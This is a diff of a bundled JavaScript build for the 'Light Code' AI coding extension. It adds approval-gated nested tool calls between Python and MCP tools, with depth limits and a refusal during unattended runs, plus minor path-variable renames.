+
if (typeof frame.callback === "string") {
|
|
54849
|
+
void this.serveCallback(frame.callback, frame.name, frame.arguments, frame.caller);
|
|
54850
|
+
return;
|
|
54851
|
+
}
|
|
54608
54852
|
if (typeof frame.id !== "number")
|
|
54609
54853
|
return;
|
|
54610
54854
|
const entry = this.pending.get(frame.id);
|
|
@@ -54618,6 +54862,40 @@ var PythonWorker = class {
|
|
|
54618
54862
|
entry.reject(new PythonWorkerError(typeof frame.error === "string" ? frame.error : "The Python tool failed.", typeof frame.traceback === "string" ? frame.traceback : void 0));
|
|
54619
54863
|
}
|
|
54620
54864
|
}
|
|
54865
|
+
/**
|
|
54866
|
+
* Runs a tool on a Python tool's behalf and writes the answer back.
|
|
54867
|
+
*
|
|
54868
|
+
* The rules live in `options.callTool`, which the host supplies — this only carries the
|
|
54869
|
+
* message. Refusing here would put a policy decision in the transport, where nothing can see
|
|
54870
|
+
* the registry, the approval gate or whether anybody is present to answer.
|
|
54871
|
+
*/
|
|
54872
|
+
async serveCallback(token, name, args, caller) {
|
|
54873
|
+
const reply = (payload) => {
|
|
54874
|
+
try {
|
|
54875
|
+
this.child?.stdin?.write(`${JSON.stringify({ callback: token, ...payload })}
|
|
54876
|
+
`);
|
|
54877
|
+
} catch {
|
|
54878
|
+
this.options.logger.debug("python worker: could not answer a callback");
|
|
54879
|
+
}
|
|
54880
|
+
};
|
|
54881
|
+
if (this.options.callTool === void 0) {
|
|
54882
|
+
reply({
|
|
54883
|
+
ok: false,
|
|
54884
|
+
error: "This session cannot call other tools from a Python tool. That is the case during an unattended scheduled run, where nobody is present to approve one."
|
|
54885
|
+
});
|
|
54886
|
+
return;
|
|
54887
|
+
}
|
|
54888
|
+
if (typeof name !== "string") {
|
|
54889
|
+
reply({ ok: false, error: "call_tool needs the name of a tool." });
|
|
54890
|
+
return;
|
|
54891
|
+
}
|
|
54892
|
+
try {
|
|
54893
|
+
const value = await this.options.callTool(name, args ?? {}, typeof caller === "string" ? caller : "a Python tool");
|
|
54894
|
+
reply({ ok: true, value });
|
|
54895
|
+
} catch (error51) {
|
|
54896
|
+
reply({ ok: false, error: error51 instanceof Error ? error51.message : String(error51) });
|
|
54897
|
+
}
|
|
54898
|
+
}
|
|
54621
54899
|
request(method, params, timeoutMs) {
|
|
54622
54900
|
if (this.disposed)
|
|
54623
54901
|
return Promise.reject(new PythonWorkerError("The Python worker has been shut down."));
|
|
@@ -55261,7 +55539,7 @@ function createCreatePythonTool(context) {
|
|
|
55261
55539
|
* script that nothing can call. Both tools write Python to a file; only this one registers
|
|
55262
55540
|
* it, and the description has to make that the obvious reading.
|
|
55263
55541
|
*/
|
|
55264
|
-
description: 'THE way to create a tool when the user asks for one. Writes a Python tool and registers it, so it becomes callable as py__<name> from the next message onwards. Use this \u2014 not write_to_file \u2014 for anything described as a "tool", and for work awkward in shell commands: parsing, data transformation, anything needing a library. Define a `run` function with type hints; the schema and description are derived from the code, so there is no metadata to keep in sync. The user must approve the source before it is saved.'
|
|
55542
|
+
description: 'THE way to create a tool when the user asks for one. Writes a Python tool and registers it, so it becomes callable as py__<name> from the next message onwards. Use this \u2014 not write_to_file \u2014 for anything described as a "tool", and for work awkward in shell commands: parsing, data transformation, anything needing a library. Define a `run` function with type hints; the schema and description are derived from the code, so there is no metadata to keep in sync. The user must approve the source before it is saved. A tool can call other tools: `import light_code` then `light_code.call_tool("py__other", x=1)` or `light_code.call_tool("server__tool", ...)`. Only other Python tools and MCP tools can be reached that way \u2014 running commands, editing files and creating tools are deliberately out of reach from inside a tool body. The user approves each nested call as they would any other, so use it for composing work rather than for slipping past a prompt.'
|
|
55265
55543
|
});
|
|
55266
55544
|
}
|
|
55267
55545
|
function createUpdatePythonTool(context) {
|
|
@@ -55337,7 +55615,7 @@ ${traceback}` : message3, isError: true };
|
|
|
55337
55615
|
}
|
|
55338
55616
|
|
|
55339
55617
|
// ../../packages/core/dist/python/workerSource.js
|
|
55340
|
-
var PYTHON_WORKER_SOURCE = '"""Light Code\'s Python tool worker.\n\nOne long-lived process per workspace, speaking JSON-RPC over stdio. It owns three jobs the\nTypeScript side cannot do for itself:\n\n* deriving a JSON Schema from ``run``\'s type hints, so tool metadata is never hand-written\n and therefore never drifts from the code (CLAUDE.md \xA713);\n* importing and reloading tool modules, so a tool edited mid-session takes effect without\n restarting;\n* running the tool.\n\nFraming is one JSON object per line. Length-prefixing would be sturdier, but a tool that\nprints to stdout is *common* \u2014 so the reader tolerates unparseable lines instead, treating\nthem as the tool\'s own output rather than corrupting the channel.\n"""\n\nfrom __future__ import annotations\n\nimport importlib.util\nimport inspect\nimport io\nimport json\nimport re\nimport sys\nimport traceback\nfrom contextlib import redirect_stdout\nfrom pathlib import Path\nfrom typing import Any\n\n# Loaded modules, keyed by tool name, so a reload replaces rather than shadows.\n_MODULES: dict[str, Any] = {}\n\n\ndef _respond(payload: dict[str, Any]) -> None:\n """Write one frame.\n\n Always to the real stdout, captured at import time \u2014 a tool that reassigns\n ``sys.stdout`` would otherwise silently swallow every subsequent reply.\n """\n _REAL_STDOUT.write(json.dumps(payload) + "\\n")\n _REAL_STDOUT.flush()\n\n\n_REAL_STDOUT = sys.stdout\n\n\ndef _load(name: str, path: str) -> Any:\n """Imports a tool module from an explicit path, replacing any previous version."""\n spec = importlib.util.spec_from_file_location(f"light_code_tool_{name}", path)\n if spec is None or spec.loader is None:\n raise ImportError(f"could not load {path}")\n module = importlib.util.module_from_spec(spec)\n # Executed with the tool\'s own stdout captured: a print at import time would otherwise\n # land in the middle of the JSON-RPC stream.\n with redirect_stdout(io.StringIO()):\n spec.loader.exec_module(module)\n if not hasattr(module, "run"):\n raise AttributeError(f"{path} defines no `run` function")\n _MODULES[name] = module\n return module\n\n\ndef _google_arg_docs(doc: str) -> dict[str, str]:\n """Pulls parameter descriptions out of a Google-style ``Args:`` block.\n\n Best-effort by design. A missing description costs the model a hint; a parser that threw\n would cost it the whole tool.\n """\n docs: dict[str, str] = {}\n match = re.search(r"^\\s*Args:\\s*$(.*?)(?=^\\s*\\w+:\\s*$|\\Z)", doc, re.MULTILINE | re.DOTALL)\n if not match:\n return docs\n for line in match.group(1).splitlines():\n entry = re.match(r"\\s*(\\w+)\\s*(?:\\([^)]*\\))?\\s*:\\s*(.+)", line)\n if entry:\n docs[entry.group(1)] = entry.group(2).strip()\n return docs\n\n\n#: Annotations the fallback can map without pydantic. Anything else becomes a string,\n#: which is lossy but callable.\n_PRIMITIVE_TYPES: dict[Any, str] = {\n str: "string",\n bool: "boolean",\n int: "integer",\n float: "number",\n list: "array",\n dict: "object",\n}\n\n\ndef _fallback_schema(run: Any) -> dict[str, Any]:\n """Derives a schema from bare annotations, for when pydantic is not installed.\n\n Worth doing properly rather than declaring everything a string: a ``bool`` advertised as\n a string means the model sends ``"true"`` and the tool receives the string ``"true"``,\n which is truthy for every value including ``"false"``. Silent, and wrong.\n """\n signature = inspect.signature(run)\n properties: dict[str, Any] = {}\n required: list[str] = []\n\n for name, parameter in signature.parameters.items():\n if parameter.kind in (parameter.VAR_POSITIONAL, parameter.VAR_KEYWORD):\n continue\n annotation = parameter.annotation\n # A string annotation appears under `from __future__ import annotations`; resolving\n # it properly needs typing.get_type_hints, which can itself fail on a forward ref.\n if isinstance(annotation, str):\n annotation = {"str": str, "bool": bool, "int": int, "float": float}.get(annotation, inspect.Parameter.empty)\n properties[name] = {"type": _PRIMITIVE_TYPES.get(annotation, "string")}\n if parameter.default is parameter.empty:\n required.append(name)\n\n return {"type": "object", "properties": properties, "required": required}\n\n\ndef _schema_for(module: Any) -> dict[str, Any]:\n """Derives the parameter schema from ``run``\'s type hints.\n\n pydantic when available, because it handles unions, defaults, nested models and\n ``Optional`` correctly. The fallback treats every parameter as a string, which is worse\n but still callable \u2014 better than refusing to register a tool because pydantic is missing.\n """\n run = module.run\n try:\n from pydantic import TypeAdapter\n\n schema = TypeAdapter(run).json_schema()\n properties = schema.get("properties", {})\n except Exception: # noqa: BLE001 - any pydantic failure falls back rather than failing\n schema = _fallback_schema(run)\n properties = schema["properties"]\n\n doc = inspect.getdoc(run) or inspect.getdoc(module) or ""\n for name, description in _google_arg_docs(doc).items():\n if name in properties:\n properties[name]["description"] = description\n\n schema.setdefault("type", "object")\n schema["properties"] = properties\n return schema\n\n\ndef _describe(name: str, path: str) -> dict[str, Any]:\n module = _load(name, path)\n # The module docstring, not run\'s: it describes the tool, whereas run\'s docstring\n # usually documents the parameters.\n description = (inspect.getdoc(module) or inspect.getdoc(module.run) or "").strip()\n return {"name": name, "description": description, "schema": _schema_for(module)}\n\n\ndef _handle(request: dict[str, Any]) -> dict[str, Any]:\n method = request.get("method")\n params = request.get("params") or {}\n\n if method == "ping":\n return {"ok": True, "python": sys.version}\n\n if method == "describe":\n return _describe(params["name"], params["path"])\n\n if method == "validate":\n # Parsed before importing, so a syntax error is reported as one rather than as\n # whatever the import machinery happens to raise.\n source = Path(params["path"]).read_text(encoding="utf-8")\n compile(source, params["path"], "exec")\n return _describe(params["name"], params["path"])\n\n if method == "call":\n name = params["name"]\n module = _MODULES.get(name)\n if module is None:\n module = _load(name, params["path"])\n # Reloaded when the caller says the file changed, so an edit mid-session takes\n # effect without a restart.\n if params.get("reload"):\n module = _load(name, params["path"])\n\n captured = io.StringIO()\n with redirect_stdout(captured):\n result = module.run(**(params.get("arguments") or {}))\n printed = captured.getvalue()\n return {\n "result": result,\n # Returned rather than discarded: a print is how people debug, and swallowing it\n # makes a misbehaving tool impossible to diagnose from the chat.\n "stdout": printed,\n }\n\n raise ValueError(f"unknown method: {method}")\n\n\ndef main() -> None:\n for line in sys.stdin:\n line = line.strip()\n if not line:\n continue\n try:\n request = json.loads(line)\n except json.JSONDecodeError:\n continue\n\n request_id = request.get("id")\n try:\n _respond({"id": request_id, "ok": True, "value": _handle(request)})\n except Exception as error: # noqa: BLE001 - every failure goes back as a result\n # The traceback is the payload: \xA713 requires a failed tool to return it to the\n # model so it can fix its own code, rather than a one-line summary it cannot act on.\n _respond(\n {\n "id": request_id,\n "ok": False,\n "error": f"{type(error).__name__}: {error}",\n "traceback": traceback.format_exc(),\n }\n )\n\n\nif __name__ == "__main__":\n main()\n';
|
|
55618
|
+
var PYTHON_WORKER_SOURCE = '"""Light Code\'s Python tool worker.\r\n\r\nOne long-lived process per workspace, speaking JSON-RPC over stdio. It owns three jobs the\r\nTypeScript side cannot do for itself:\r\n\r\n* deriving a JSON Schema from ``run``\'s type hints, so tool metadata is never hand-written\r\n and therefore never drifts from the code (CLAUDE.md \xA713);\r\n* importing and reloading tool modules, so a tool edited mid-session takes effect without\r\n restarting;\r\n* running the tool.\r\n\r\nFraming is one JSON object per line. Length-prefixing would be sturdier, but a tool that\r\nprints to stdout is *common* \u2014 so the reader tolerates unparseable lines instead, treating\r\nthem as the tool\'s own output rather than corrupting the channel.\r\n"""\r\n\r\nfrom __future__ import annotations\r\n\r\nimport importlib.util\r\nimport inspect\r\nimport io\r\nimport json\r\nimport re\r\nimport sys\r\nimport traceback\r\nimport types\r\nfrom contextlib import redirect_stdout\r\nfrom pathlib import Path\r\nfrom typing import Any\r\n\r\n# Loaded modules, keyed by tool name, so a reload replaces rather than shadows.\r\n_MODULES: dict[str, Any] = {}\r\n\r\n\r\ndef _respond(payload: dict[str, Any]) -> None:\r\n """Write one frame.\r\n\r\n Always to the real stdout, captured at import time \u2014 a tool that reassigns\r\n ``sys.stdout`` would otherwise silently swallow every subsequent reply.\r\n """\r\n _REAL_STDOUT.write(json.dumps(payload) + "\\n")\r\n _REAL_STDOUT.flush()\r\n\r\n\r\n_REAL_STDOUT = sys.stdout\r\n_REAL_STDIN = sys.stdin\r\n\r\n# Counts nested calls out to the host, so a loop is stopped rather than left to fill the pipe.\r\n_CALL_DEPTH = 0\r\n_MAX_DEPTH = 4\r\n_CURRENT_TOOL = ""\r\n_CALL_SEQ = 0\r\n\r\n\r\nclass ToolError(RuntimeError):\r\n """A tool this one called came back with a failure."""\r\n\r\n\r\ndef call_tool(name: str, **arguments: Any) -> Any:\r\n """Calls another tool and returns its result.\r\n\r\n Available to every tool as ``light_code.call_tool``. Only other Python tools and MCP\r\n tools can be reached; see the host for why.\r\n\r\n This blocks the worker, which is correct: the tool asked for something and cannot\r\n continue without it. The host may prompt the user before running it, so it can take as\r\n long as a person takes to answer.\r\n """\r\n global _CALL_DEPTH\r\n if _CALL_DEPTH >= _MAX_DEPTH:\r\n raise ToolError(\r\n f"tool calls are nested {_MAX_DEPTH} deep, which is almost certainly a loop - "\r\n "a tool calling itself, or two calling each other"\r\n )\r\n\r\n global _CALL_SEQ\r\n _CALL_SEQ += 1\r\n # A counter, not ``id()``: CPython reuses an address the moment the object is collected, so\r\n # two calls in a row could be handed the same token.\r\n token = f"cb{_CALL_SEQ}"\r\n _CALL_DEPTH += 1\r\n try:\r\n _respond(\r\n {\r\n "callback": token,\r\n "method": "call_tool",\r\n "name": name,\r\n "arguments": arguments,\r\n "caller": _CURRENT_TOOL,\r\n }\r\n )\r\n # Read until the answer to *this* call arrives. Anything else on the stream would be a\r\n # protocol error rather than something to skip, so it is reported rather than ignored.\r\n while True:\r\n line = _REAL_STDIN.readline()\r\n if not line:\r\n raise ToolError("the host closed the connection while waiting for " + name)\r\n line = line.strip()\r\n if not line:\r\n continue\r\n frame = json.loads(line)\r\n\r\n if frame.get("callback") == token:\r\n if frame.get("ok"):\r\n return frame.get("value")\r\n raise ToolError(frame.get("error") or f"{name} failed")\r\n\r\n # An ordinary request, arriving while this tool is blocked.\r\n #\r\n # It happens for real: the tool this one called is *another Python tool*, so the host\r\n # sends it down the same pipe while we are still waiting. Skipping it would deadlock \u2014\r\n # the host waits for a reply that nobody is reading for \u2014 and treating it as an\r\n # out-of-order answer, which the first version did, fails every nested call between\r\n # two Python tools. So it is served here and the wait resumes.\r\n if "method" in frame:\r\n request_id = frame.get("id")\r\n try:\r\n _respond({"id": request_id, "ok": True, "value": _handle(frame)})\r\n except Exception as error: # noqa: BLE001 - every failure goes back as a result\r\n _respond(\r\n {\r\n "id": request_id,\r\n "ok": False,\r\n "error": f"{type(error).__name__}: {error}",\r\n "traceback": traceback.format_exc(),\r\n }\r\n )\r\n continue\r\n\r\n raise ToolError(\r\n "unexpected frame while waiting for " + name + "; this is a bug in Light Code"\r\n )\r\n finally:\r\n _CALL_DEPTH -= 1\r\n\r\n\r\ndef _install_helper_module() -> None:\r\n """Publishes ``light_code`` so a tool can ``import light_code`` and call other tools.\r\n\r\n A real module in ``sys.modules`` rather than a builtin or an injected global: a tool is\r\n an ordinary Python file that must also be readable, lintable and runnable on its own\r\n terms, and magic names appearing from nowhere break every one of those.\r\n """\r\n if "light_code" in sys.modules:\r\n return\r\n module = types.ModuleType("light_code")\r\n module.call_tool = call_tool # type: ignore[attr-defined]\r\n module.ToolError = ToolError # type: ignore[attr-defined]\r\n sys.modules["light_code"] = module\r\n\r\n\r\ndef _load(name: str, path: str) -> Any:\r\n """Imports a tool module from an explicit path, replacing any previous version."""\r\n _install_helper_module()\r\n spec = importlib.util.spec_from_file_location(f"light_code_tool_{name}", path)\r\n if spec is None or spec.loader is None:\r\n raise ImportError(f"could not load {path}")\r\n module = importlib.util.module_from_spec(spec)\r\n # Executed with the tool\'s own stdout captured: a print at import time would otherwise\r\n # land in the middle of the JSON-RPC stream.\r\n with redirect_stdout(io.StringIO()):\r\n spec.loader.exec_module(module)\r\n if not hasattr(module, "run"):\r\n raise AttributeError(f"{path} defines no `run` function")\r\n _MODULES[name] = module\r\n return module\r\n\r\n\r\ndef _google_arg_docs(doc: str) -> dict[str, str]:\r\n """Pulls parameter descriptions out of a Google-style ``Args:`` block.\r\n\r\n Best-effort by design. A missing description costs the model a hint; a parser that threw\r\n would cost it the whole tool.\r\n """\r\n docs: dict[str, str] = {}\r\n match = re.search(r"^\\s*Args:\\s*$(.*?)(?=^\\s*\\w+:\\s*$|\\Z)", doc, re.MULTILINE | re.DOTALL)\r\n if not match:\r\n return docs\r\n for line in match.group(1).splitlines():\r\n entry = re.match(r"\\s*(\\w+)\\s*(?:\\([^)]*\\))?\\s*:\\s*(.+)", line)\r\n if entry:\r\n docs[entry.group(1)] = entry.group(2).strip()\r\n return docs\r\n\r\n\r\n#: Annotations the fallback can map without pydantic. Anything else becomes a string,\r\n#: which is lossy but callable.\r\n_PRIMITIVE_TYPES: dict[Any, str] = {\r\n str: "string",\r\n bool: "boolean",\r\n int: "integer",\r\n float: "number",\r\n list: "array",\r\n dict: "object",\r\n}\r\n\r\n\r\ndef _fallback_schema(run: Any) -> dict[str, Any]:\r\n """Derives a schema from bare annotations, for when pydantic is not installed.\r\n\r\n Worth doing properly rather than declaring everything a string: a ``bool`` advertised as\r\n a string means the model sends ``"true"`` and the tool receives the string ``"true"``,\r\n which is truthy for every value including ``"false"``. Silent, and wrong.\r\n """\r\n signature = inspect.signature(run)\r\n properties: dict[str, Any] = {}\r\n required: list[str] = []\r\n\r\n for name, parameter in signature.parameters.items():\r\n if parameter.kind in (parameter.VAR_POSITIONAL, parameter.VAR_KEYWORD):\r\n continue\r\n annotation = parameter.annotation\r\n # A string annotation appears under `from __future__ import annotations`; resolving\r\n # it properly needs typing.get_type_hints, which can itself fail on a forward ref.\r\n if isinstance(annotation, str):\r\n annotation = {"str": str, "bool": bool, "int": int, "float": float}.get(annotation, inspect.Parameter.empty)\r\n properties[name] = {"type": _PRIMITIVE_TYPES.get(annotation, "string")}\r\n if parameter.default is parameter.empty:\r\n required.append(name)\r\n\r\n return {"type": "object", "properties": properties, "required": required}\r\n\r\n\r\ndef _schema_for(module: Any) -> dict[str, Any]:\r\n """Derives the parameter schema from ``run``\'s type hints.\r\n\r\n pydantic when available, because it handles unions, defaults, nested models and\r\n ``Optional`` correctly. The fallback treats every parameter as a string, which is worse\r\n but still callable \u2014 better than refusing to register a tool because pydantic is missing.\r\n """\r\n run = module.run\r\n try:\r\n from pydantic import TypeAdapter\r\n\r\n schema = TypeAdapter(run).json_schema()\r\n properties = schema.get("properties", {})\r\n except Exception: # noqa: BLE001 - any pydantic failure falls back rather than failing\r\n schema = _fallback_schema(run)\r\n properties = schema["properties"]\r\n\r\n doc = inspect.getdoc(run) or inspect.getdoc(module) or ""\r\n for name, description in _google_arg_docs(doc).items():\r\n if name in properties:\r\n properties[name]["description"] = description\r\n\r\n schema.setdefault("type", "object")\r\n schema["properties"] = properties\r\n return schema\r\n\r\n\r\ndef _describe(name: str, path: str) -> dict[str, Any]:\r\n module = _load(name, path)\r\n # The module docstring, not run\'s: it describes the tool, whereas run\'s docstring\r\n # usually documents the parameters.\r\n description = (inspect.getdoc(module) or inspect.getdoc(module.run) or "").strip()\r\n return {"name": name, "description": description, "schema": _schema_for(module)}\r\n\r\n\r\ndef _handle(request: dict[str, Any]) -> dict[str, Any]:\r\n method = request.get("method")\r\n params = request.get("params") or {}\r\n\r\n if method == "ping":\r\n return {"ok": True, "python": sys.version}\r\n\r\n if method == "describe":\r\n return _describe(params["name"], params["path"])\r\n\r\n if method == "validate":\r\n # Parsed before importing, so a syntax error is reported as one rather than as\r\n # whatever the import machinery happens to raise.\r\n source = Path(params["path"]).read_text(encoding="utf-8")\r\n compile(source, params["path"], "exec")\r\n return _describe(params["name"], params["path"])\r\n\r\n if method == "call":\r\n name = params["name"]\r\n # Recorded so a nested call can say *who* is asking. An approval prompt naming only the\r\n # callee is the prompt people click through.\r\n global _CURRENT_TOOL\r\n _CURRENT_TOOL = name\r\n module = _MODULES.get(name)\r\n if module is None:\r\n module = _load(name, params["path"])\r\n # Reloaded when the caller says the file changed, so an edit mid-session takes\r\n # effect without a restart.\r\n if params.get("reload"):\r\n module = _load(name, params["path"])\r\n\r\n captured = io.StringIO()\r\n with redirect_stdout(captured):\r\n result = module.run(**(params.get("arguments") or {}))\r\n printed = captured.getvalue()\r\n return {\r\n "result": result,\r\n # Returned rather than discarded: a print is how people debug, and swallowing it\r\n # makes a misbehaving tool impossible to diagnose from the chat.\r\n "stdout": printed,\r\n }\r\n\r\n raise ValueError(f"unknown method: {method}")\r\n\r\n\r\ndef main() -> None:\r\n for line in sys.stdin:\r\n line = line.strip()\r\n if not line:\r\n continue\r\n try:\r\n request = json.loads(line)\r\n except json.JSONDecodeError:\r\n continue\r\n\r\n request_id = request.get("id")\r\n try:\r\n _respond({"id": request_id, "ok": True, "value": _handle(request)})\r\n except Exception as error: # noqa: BLE001 - every failure goes back as a result\r\n # The traceback is the payload: \xA713 requires a failed tool to return it to the\r\n # model so it can fix its own code, rather than a one-line summary it cannot act on.\r\n _respond(\r\n {\r\n "id": request_id,\r\n "ok": False,\r\n "error": f"{type(error).__name__}: {error}",\r\n "traceback": traceback.format_exc(),\r\n }\r\n )\r\n\r\n\r\nif __name__ == "__main__":\r\n main()\r\n';
|
|
55341
55619
|
|
|
55342
55620
|
// ../../packages/core/dist/python/manager.js
|
|
55343
55621
|
var PythonManager = class {
|
|
@@ -55426,7 +55704,15 @@ var PythonManager = class {
|
|
|
55426
55704
|
cwd: this.options.workspaceRoot,
|
|
55427
55705
|
env: env2,
|
|
55428
55706
|
logger: this.options.logger,
|
|
55429
|
-
timeoutMs: this.timeoutMs
|
|
55707
|
+
timeoutMs: this.timeoutMs,
|
|
55708
|
+
/*
|
|
55709
|
+
* Passed through rather than resolved here.
|
|
55710
|
+
*
|
|
55711
|
+
* The manager has no registry and no approval gate; the host has both. Threading the
|
|
55712
|
+
* function means the rules are decided once, where the information is, instead of this
|
|
55713
|
+
* file growing an opinion about which tools a tool may call.
|
|
55714
|
+
*/
|
|
55715
|
+
...this.options.callTool !== void 0 ? { callTool: this.options.callTool } : {}
|
|
55430
55716
|
});
|
|
55431
55717
|
await this.refresh();
|
|
55432
55718
|
this.ready = true;
|
|
@@ -55592,7 +55878,15 @@ var PythonManager = class {
|
|
|
55592
55878
|
cwd: workspaceRoot,
|
|
55593
55879
|
env: env2,
|
|
55594
55880
|
logger: this.options.logger,
|
|
55595
|
-
timeoutMs: this.timeoutMs
|
|
55881
|
+
timeoutMs: this.timeoutMs,
|
|
55882
|
+
/*
|
|
55883
|
+
* Passed through rather than resolved here.
|
|
55884
|
+
*
|
|
55885
|
+
* The manager has no registry and no approval gate; the host has both. Threading the
|
|
55886
|
+
* function means the rules are decided once, where the information is, instead of this
|
|
55887
|
+
* file growing an opinion about which tools a tool may call.
|
|
55888
|
+
*/
|
|
55889
|
+
...this.options.callTool !== void 0 ? { callTool: this.options.callTool } : {}
|
|
55596
55890
|
});
|
|
55597
55891
|
await this.refresh();
|
|
55598
55892
|
this.ready = true;
|
|
@@ -58986,17 +59280,17 @@ var WebviewApprovalGate = class {
|
|
|
58986
59280
|
// ../../packages/core/dist/platform/node/filesystem.js
|
|
58987
59281
|
import fs16 from "node:fs/promises";
|
|
58988
59282
|
var NodeFileSystem = class {
|
|
58989
|
-
async readFile(
|
|
58990
|
-
return fs16.readFile(
|
|
59283
|
+
async readFile(path34) {
|
|
59284
|
+
return fs16.readFile(path34, "utf8");
|
|
58991
59285
|
}
|
|
58992
|
-
async readBytes(
|
|
58993
|
-
return fs16.readFile(
|
|
59286
|
+
async readBytes(path34) {
|
|
59287
|
+
return fs16.readFile(path34);
|
|
58994
59288
|
}
|
|
58995
|
-
async readBytesSlice(
|
|
59289
|
+
async readBytesSlice(path34, start, end) {
|
|
58996
59290
|
const length = Math.max(0, end - start);
|
|
58997
59291
|
if (length === 0)
|
|
58998
59292
|
return Buffer.alloc(0);
|
|
58999
|
-
const handle = await fs16.open(
|
|
59293
|
+
const handle = await fs16.open(path34, "r");
|
|
59000
59294
|
try {
|
|
59001
59295
|
const buffer = Buffer.alloc(length);
|
|
59002
59296
|
const { bytesRead } = await handle.read(buffer, 0, length, start);
|
|
@@ -59005,11 +59299,11 @@ var NodeFileSystem = class {
|
|
|
59005
59299
|
await handle.close();
|
|
59006
59300
|
}
|
|
59007
59301
|
}
|
|
59008
|
-
async writeFile(
|
|
59009
|
-
await fs16.writeFile(
|
|
59302
|
+
async writeFile(path34, contents) {
|
|
59303
|
+
await fs16.writeFile(path34, contents, "utf8");
|
|
59010
59304
|
}
|
|
59011
|
-
async stat(
|
|
59012
|
-
const stat = await fs16.lstat(
|
|
59305
|
+
async stat(path34) {
|
|
59306
|
+
const stat = await fs16.lstat(path34);
|
|
59013
59307
|
return {
|
|
59014
59308
|
size: stat.size,
|
|
59015
59309
|
mtimeMs: stat.mtimeMs,
|
|
@@ -59018,8 +59312,8 @@ var NodeFileSystem = class {
|
|
|
59018
59312
|
isSymbolicLink: stat.isSymbolicLink()
|
|
59019
59313
|
};
|
|
59020
59314
|
}
|
|
59021
|
-
async readdir(
|
|
59022
|
-
const entries = await fs16.readdir(
|
|
59315
|
+
async readdir(path34) {
|
|
59316
|
+
const entries = await fs16.readdir(path34, { withFileTypes: true });
|
|
59023
59317
|
return entries.map((entry) => ({
|
|
59024
59318
|
name: entry.name,
|
|
59025
59319
|
isFile: entry.isFile(),
|
|
@@ -59027,16 +59321,16 @@ var NodeFileSystem = class {
|
|
|
59027
59321
|
isSymbolicLink: entry.isSymbolicLink()
|
|
59028
59322
|
}));
|
|
59029
59323
|
}
|
|
59030
|
-
async exists(
|
|
59324
|
+
async exists(path34) {
|
|
59031
59325
|
try {
|
|
59032
|
-
await fs16.access(
|
|
59326
|
+
await fs16.access(path34);
|
|
59033
59327
|
return true;
|
|
59034
59328
|
} catch {
|
|
59035
59329
|
return false;
|
|
59036
59330
|
}
|
|
59037
59331
|
}
|
|
59038
|
-
async mkdir(
|
|
59039
|
-
await fs16.mkdir(
|
|
59332
|
+
async mkdir(path34) {
|
|
59333
|
+
await fs16.mkdir(path34, { recursive: true });
|
|
59040
59334
|
}
|
|
59041
59335
|
};
|
|
59042
59336
|
|
|
@@ -59281,6 +59575,8 @@ async function toSummary(profile, secrets) {
|
|
|
59281
59575
|
...profile.auth.type === "apiKey" && describeSecretRef(profile.auth.apiKeyRef).kind === "env" ? { apiKeyEnvVar: describeSecretRef(profile.auth.apiKeyRef).envVar } : {},
|
|
59282
59576
|
// Not a secret: a command describes how to *get* a credential. The token it produces never
|
|
59283
59577
|
// crosses the bridge, and a form cannot edit what it is never shown.
|
|
59578
|
+
// References only — a store key or a variable name, never the credential (invariant 7).
|
|
59579
|
+
...profile.auth.type === "header" ? { authHeaders: profile.auth.headers } : {},
|
|
59284
59580
|
...profile.auth.type === "tokenCommand" ? {
|
|
59285
59581
|
/*
|
|
59286
59582
|
* `env` is dropped on the way out, deliberately.
|
|
@@ -59338,6 +59634,62 @@ function wireChatBridge(services) {
|
|
|
59338
59634
|
workspaceRoot,
|
|
59339
59635
|
storageDir,
|
|
59340
59636
|
logger,
|
|
59637
|
+
/*
|
|
59638
|
+
* Lets one Python tool call another, or an MCP tool.
|
|
59639
|
+
*
|
|
59640
|
+
* Here rather than in the Python package because this is the only place that can see all
|
|
59641
|
+
* three things the decision needs: the registry, the approval gate, and whether there is
|
|
59642
|
+
* anybody present to answer a prompt. `callPolicy.ts` holds the rule and the reasoning.
|
|
59643
|
+
*/
|
|
59644
|
+
callTool: async (name, args, caller) => {
|
|
59645
|
+
if (!pythonNestedCallsAllowed) {
|
|
59646
|
+
throw new Error("This run cannot call other tools from a Python tool: it is unattended, so nobody is here to approve one.");
|
|
59647
|
+
}
|
|
59648
|
+
const registry2 = currentToolRegistry();
|
|
59649
|
+
const tool = registry2.get(name) ?? registry2.get(`py__${name}`);
|
|
59650
|
+
if (tool === void 0) {
|
|
59651
|
+
throw new Error(`There is no tool called "${name}". Settings \u2192 Tools lists everything callable; an MCP tool is named with its server, like \`filesystem__read_file\`.`);
|
|
59652
|
+
}
|
|
59653
|
+
if (!mayPythonToolCall(tool.name, tool.group))
|
|
59654
|
+
throw new Error(PYTHON_CALL_DENIED);
|
|
59655
|
+
const context = pythonNestedContext;
|
|
59656
|
+
if (context === void 0) {
|
|
59657
|
+
throw new Error("No turn is in progress, so there is nothing to run this against.");
|
|
59658
|
+
}
|
|
59659
|
+
let preview;
|
|
59660
|
+
try {
|
|
59661
|
+
preview = await tool.preview?.(args, context) ?? {
|
|
59662
|
+
kind: "text",
|
|
59663
|
+
text: `${tool.name}(${JSON.stringify(args, null, 2)})`
|
|
59664
|
+
};
|
|
59665
|
+
} catch (error51) {
|
|
59666
|
+
preview = {
|
|
59667
|
+
kind: "text",
|
|
59668
|
+
text: `${tool.name}(${JSON.stringify(args, null, 2)})
|
|
59669
|
+
|
|
59670
|
+
Could not preview this: ${error51 instanceof Error ? error51.message : String(error51)}`
|
|
59671
|
+
};
|
|
59672
|
+
}
|
|
59673
|
+
const decision = await approvalGate.requestApproval({
|
|
59674
|
+
id: `py-nested-${String(Date.now())}-${tool.name}`,
|
|
59675
|
+
toolName: tool.name,
|
|
59676
|
+
group: tool.group,
|
|
59677
|
+
preview: {
|
|
59678
|
+
...preview,
|
|
59679
|
+
// Says who is asking. "Allow filesystem__write_file?" with no indication of who wants
|
|
59680
|
+
// it is exactly the prompt people click through.
|
|
59681
|
+
...preview.kind === "text" ? { text: `${describeNestedCall(caller, tool.name)}
|
|
59682
|
+
|
|
59683
|
+
${preview.text}` } : {}
|
|
59684
|
+
}
|
|
59685
|
+
});
|
|
59686
|
+
if (decision !== "approve")
|
|
59687
|
+
throw new Error(`The user did not allow "${tool.name}" to run.`);
|
|
59688
|
+
const result = await tool.execute(args, context);
|
|
59689
|
+
if (result.isError === true)
|
|
59690
|
+
throw new Error(String(result.content));
|
|
59691
|
+
return result.content;
|
|
59692
|
+
},
|
|
59341
59693
|
// Read at worker spawn, so a changed variable applies to the next worker rather than being
|
|
59342
59694
|
// frozen at construction. Added to the allowlist in minimalPythonEnv, never a way past it.
|
|
